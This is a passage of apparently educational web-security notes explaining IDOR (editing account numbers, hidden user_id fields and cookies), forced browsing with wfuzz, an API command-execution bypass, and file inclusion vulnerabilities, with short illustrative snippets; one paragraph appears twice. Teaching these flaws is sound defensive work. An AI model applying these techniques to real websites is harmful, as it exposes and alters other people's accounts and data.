There is however a potentially huge problem here, a hacker may be able to change the account\_number parameter to something else like 1235, and if the site is incorrectly configured, then he would have access to someone else's bank information.

***

### In POST Request Variables

Examining the contents of forms on a website can sometimes reveal fields that could be vulnerable to IDOR exploitation. Take, for example, the following HTML code for a form that updates a user's password.

```html
<form method="POST" action="/update-password">
    <input type="hidden" name"user_id" value="123">
    <div>New Password:</div>
    <div><input type="password" name="new_password"></div>
    <div><input type="submit" value="Change Password">
</form>
```

You can see from the second line that the user's id is being passed to the webserver in a hidden field. Changing the value of this field from 123 to another user\_id may result in changing the password for another user's account.

***

### Cookies

To stay logged into a website such as this one, cookies are used to remember your session. Usually, this will involve sending a session id which is a long string of random hard to guess text.

Sometimes though, less experienced developers may store user information in the cookie its self, such as the user's ID. Changing the value of this cookie could result in displaying another user's information. See below for an example of how this might look.

```
GET /user-information HTTP/1.1
Host: website.thm
Cookie: user_id=9
User-Agent: Mozilla/5.0 (Ubuntu;Linux) Firefox/94.0

Hello Jon!
```

***


# ZTH : Continued

### Introduction

These vulns won't get you RCE, or LFI, but they will allow you to access sensitive information that a client would want to keep protected.

***

### Insecure Direct Object Reference (IDOR)

It is the act of exploiting a misconfiguration in the way user input is handled, to access resources you wouldn't ordinarily be able to access.

For example, let's say we're logging into our bank account, and after correctly authenticating ourselves, we get taken to a URL like this <https://example.com/bank?account\\_number=1234>. On that page we can see all our important bank details, and a user would do whatever they needed to do and move along their way thinking nothing is wrong.

There is however a potentially huge problem here, a hacker may be able to change the account\_number parameter to something else like 1235, and if the site is incorrectly configured, then he would have access to someone else's bank information.

***

### Forced Browsing

Forced browsing is the art of using logic to find resources on the website that you would not normally be able to access. For example let's say we have a note taking site, that is structured like this. <http://example.com/user1/note.txt>. It stands to reason that if we did <http://example.com/user2/note.txt> we may be able to access user2's note.

Taking this a step further, if we ran wfuzz on that url, we could enumerate users we don't know about, as well as get their notes. This is quite devastating, because we can then run further attacks on the users we find, for example bruteforcing each user we find, to see if they have weak passwords.

#### Automatic Exploitation ()

A tool such as wfuzz or dirsearch can find resources that normal users wouldn't be able to find. **wfuzz** will be the better tool in most cases, as it allows you better control over the path, so we'll go over basic wfuzz usage, and use it to exploit the our example site. wfuzz can be installed using `pip3 install wfuzz`.

***

### API Bypassing

APIs are by definition incredibly versatile, and finding out how to exploit them, will require a lot of research and effort by the hacker. The following situation is only one possible scenario out of a near infinite number.

1. We start off with a basic login.
2. Logging in gives us an admin panel.
   \*

   ```
   <figure><img src="/files/zMUApk7IyXk9mhvOSg6C" alt=""><figcaption></figcaption></figure>
   ```
3. It seems we can run system commands here, so let's try running id.
   \*

   ```
   <figure><img src="/files/GJZmEuIpdNEnbgBU05fy" alt=""><figcaption></figcaption></figure>
   ```
4. If we found the api.php page through dirsearching, and a cmd parameter through fuzz, we would never have needed to use the login panel.

***


# File Inclusion Vulnerability

### **Introduction**

Local File Inclusion (LFI) is the vulnerability that is mostly found in web servers. This vulnerability is exploited when a user input contains a certain path to the file which might be present on the server and will be included in the output. This kind of vulnerability can be used to read files containing sensitive and confidential data from the vulnerable system.

#### Cause and Defense

The main cause of this type of Vulnerability is improper sanitization of the user's input. Sanitization here means that whatever user input should be checked and it should be made sure that only the expected values are passed and nothing suspicious is given in input. It is a type of Vulnerability commonly found in PHP based websites but isn't restricted to them.

***

### **Importance of Arbitrary file reading**

A lot of the time LFI can lead to accessing (without the proper permissions) important and classified data. An attacker can use LFI to read files from your system which can give away sensitive information such as passwords/SSH keys; enumerated data can be further used to compromise the system.

***

### **Remote File Inclusion (RFI)**

RFI vulnerabilities are easier to exploit but less common. Instead of accessing a file on the local machine, the attacker is able to execute code hosted on their own machine.

When web applications take user input (URL, parameter value, etc.) and pass them into file include commands, the web application might be tricked into including remote files with malicious code.

***

### Other Techniques

[PayloadAllTheThings FI Techniques](https://github.com/cyberheartmi9/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal#basic-lfi-null-byte-double-encoding-and-other-tricks)

***




---

[Next Page](/llms-full.txt/1)

